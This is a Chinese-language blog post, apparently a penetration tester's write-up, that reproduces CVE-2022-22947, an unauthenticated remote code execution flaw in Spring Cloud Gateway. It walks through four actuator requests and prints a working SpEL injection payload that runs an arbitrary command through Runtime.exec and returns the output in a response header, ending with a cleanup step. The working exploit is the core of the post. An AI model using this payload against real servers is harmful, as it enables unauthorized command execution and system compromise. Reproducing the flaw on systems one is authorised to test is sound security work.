以下文章来源于重生之成为赛博女保安,作者AugustTheodor
中规中矩的一次,只是之前打这个洞老失败,遇到一个成功的还是记一下。
漏洞描述
Spring Cloud Gateway RCE,一般指的是CVE-2022-22947这个漏洞。在此漏洞存在时,攻击者可未授权添加Filter并执行任意代码。
复现过程
主要是四步走,其中第一步的API可访问说明此漏洞可能存在。
1 /actuator/gateway/routes/
先访问/actuator/gateway/routes,查看此服务是否开启,这里很明显是开着的:
2 POST /actuator/gateway/routes/{filter}
这一步主要是添加一个filter,里面放payload。
这里放一个比较通用的payload,缺点是只能执行同一个命令:
{
"id":"[filter_name]",
"filters":[{
"name":"AddResponseHeader",
"args":{
"name":"Result",
"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"[ur_cmd]\"}).getInputStream()))}"
}
}],
"uri":"http://example.com"}
整体POC长这样,其中id和filter的名字需要对上,返回201则创建成功:
3 /actuator/gateway/refresh
这一步主要是刷新路由,刷新后可以再执行一次routes查看是否注入成功。
直接get就可以,返回200。
再次访问routes,可以看到对应的id和filter,这里其实命令已执行。
4 GET /actuator/gateway/routes/{filter}
payload执行结果将如约出现在返回头中:
最后
记得删除,使用DELETE /actuator/gateway/routes/{filter}: